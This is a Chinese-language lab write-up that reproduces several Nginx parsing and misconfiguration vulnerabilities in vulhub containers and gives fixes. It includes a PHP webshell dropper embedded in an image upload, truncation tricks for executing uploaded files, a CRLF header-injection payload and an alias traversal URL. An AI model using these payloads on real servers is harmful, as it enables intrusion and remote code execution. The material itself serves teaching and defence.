Nginx 解析漏洞
该漏洞与nginx、php版本无关，属于用户配置不当造成的解析漏洞。
漏洞原理：
该解析漏洞是PHP fastcgi 的漏洞，在PHP的配置文件 php.ini 中有一个关键的选项 cgi.fix_pathinfo 默认值为1，表示开启。同时在 php-fpm/www-2.conf 配置文件中的 security.limit_extensions 选项限制了 fastcgi 要解析的文件类型（如果该选项未开启，默认只解析.php）
当URL中有不存在的文件，PHP就会向前递归解析，当遇到文件路径 /test.png/x.php 时，若 x.php 不存在则会向前解析，判断 /test.png 是否存在，若存在，则把 /test.png 解析为 text.php，若不存在则继续向前解析。若是关闭该选项，访问 /test.jpg/x.php 只会返回找不到文件。
环境搭建：
靶场路径：
vulhub/nginx/nginx_parsing_vulnerability
启动容器
docker-compose up -d
复现过程：
直接访问
访问靶场的 /uploadfiles/nginx.png 目录
是一个正常的图片，在后面随便加一个 .php ，或者不加文件名也可以
可以看到图片被解析了，所以我们现在要做的就是上传一个图片马到这个网站上，然后在上传的图片马路径后面添加 /.php 来执行该文件，从而生成一个 shell.php。
回到靶场的上传页面，随便上传一张图片，抓包，在后面加上下面代码
<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["111"])?>');?>
成功上传
接着访问目录
进容器看一下，成功生成了
蚁剑连接成功。
漏洞修复：
1、将php.ini文件中的cgi.fix_pathinfo的值设置为0
2、php-fpm/www-2.conf中的security.limit_extensions后面的值设置为.php
Nginx %00截断解析漏洞：
影响版本：
Nginx 0.5、0.6 、0.7 ~ 0.7.65、0.8 ~ 0.8.37
漏洞原理：
在fastcgi关闭的情况下，Nginx <=0.8.37 依然存在解析漏洞，在一个文件路径 /xx.jpg 后面加上 %00.php 会将 /xx.jpg%00.php 解析为xx.php文件。它的原理是在URL中加 %00 会被URL编码成 \0 ，在C语言中 \0 即为终止符，而Nginx是由C语言编写的，所以在读取时会认为文件名已经结束，从而绕过检测。
Nginx 文件名逻辑漏洞（CVE-2013-4547）
2013年底，nginx再次爆出解析漏洞（CVE-2013-4547），此漏洞可导致目录跨越及代码执行，影响范围较广。
影响版本：
Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
漏洞原理：
这个漏洞其实和代码执行没有太大关系，主要原因是错误地解析了请求的URI，错误地获取到用户请求的文件名，导致出现权限绕过、代码执行的连带影响。
举个例子，比如，Nginx匹配到.php结尾的请求，就发送给 fastcgi 进行解析，常见的写法如下：
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
正常情况下，只有.php后缀的文件才会被发送给 fastcgi 解析。
而存在 CVE-2013-4547 的情况下，请求1.gif[0x20][0x00].php，这个URI可以匹配上正则\.php$，可以进入这个Location块；但进入后，Nginx在查找文件的时候被 \0 截断，认为请求的文件是1.gif[0x20]，就设置其为 SCRIPT_FILENAME 的值发送给fastcgi。fastcgi根据SCRIPT_FILENAME的值进行解析，最后造成了解析漏洞。
注：[0x20]即16进制的20，代表空格；[0x00]即16进制的00，代表\0。
\0 的作用大家应该知道，那为什么要加空格呢？正常情况下nginx遇到 \0 会判断为非法字符报错，但在检查到URI中有空格则会进入到sw_check_uri_http_09的逻辑中，则不会报错。详细可以看这篇文章：文章链接
关于目录跨越的原理与此类似，举例：比如很多网站限制了允许访问后台的IP：
location /admin/ {
allow 127.0.0.1;
deny all;
}
我们可以请求如下URI：/test[0x20]/../admin/index.php，这个URI不会匹配上 location 后面的 /admin/，也就绕过了其中的IP验证；最后请求的是 /admin/index.php，成功访问到后台。（前提是需要有一个目录叫 test，这是Linux系统的特点，如果有一个不存在的目录，则即使跳转到上一层，也会爆文件不存在的错误，Windows下没有这个限制）
环境搭建：
靶场路径：
vulhub/nginx/CVE-2013-4547
启动容器
docker-compose up -d
复现过程：
访问环境
这里存在限制只能上传图片，我们上传一个php探针的jpg文件，抓包添加空格
访问：http://192.168.50.131:8080/uploadfiles/1.jpg.php 抓包，添加两个空格，然后修改16进制值。
第二个20改为00，
成功解析
同样的可以利用前面提到的，生成 shell.php 然后菜刀连接。
Nginx 配置错误导致漏洞
环境搭建：
靶场路径：
vulhub/nginx/insecure-configuration
启动容器
docker-compose up -d
运行成功后，Nginx将会监听8080/8081/8082三个端口，分别对应三种漏洞。这里先复现前两个。
1、CRLF注入漏洞
CRLF是 “回车+换行”的简称（url编码为%0d%0a）。在HTTP协议中，HTTP Header 与 HTTP Body 是用两个CRLF分隔的，浏览器是根据两个CRLF（即 %0a%0d%0a%0d）来取出HTTP内容并显示出来。 所以，一旦能够控制HTTP消息头中的字符，通过注入一些恶意的换行，就能实现注入会话Cookie。
理论上，只要是可以设置HTTP头的场景都会出现这个问题。
示例，如果运维配置了下列的代码：
location / {
return 302 https://$host$uri;
}
原本的目的是为了让http的请求跳转到https上，但Nginx会将 $uri 进行解码，导致传入%0d%0a即可引入换行符，造成CRLF注入漏洞。
Payload: http://your-ip:8080/%0d%0aSet-Cookie: a=1，可注入Set-Cookie头。
可以看到cookie设置成功了。（这里不太懂为什么%0d%0a只需要一个就可以）
漏洞修复
正确的做法应该是如下：
location / {
return 302 https://$host$request_uri; //$request_uri不解码
}
2、目录穿越漏洞
假设静态文件存储在 /home/ 目录下，而该目录在url中名字为files，那么就需要用alias设置目录的别名：
location /files {
alias /home/;
}
此时，访问 http://example.com/files/readme.txt，就可以获取/home/readme.txt文件。
但我们注意到，url上 /files 没有加后缀 /，而alias设置的 /home/ 是有后缀/的，这个 / 就导致我们可以从 /home/ 目录穿越到他的上层目录。
Payload: http://your-ip:8081/files…/ ，成功穿越到上层目录。
进而我们获得了一个任意文件下载漏洞。
如何解决这个漏洞？只需要保证location和alias的值都有后缀/或都没有这个后缀。
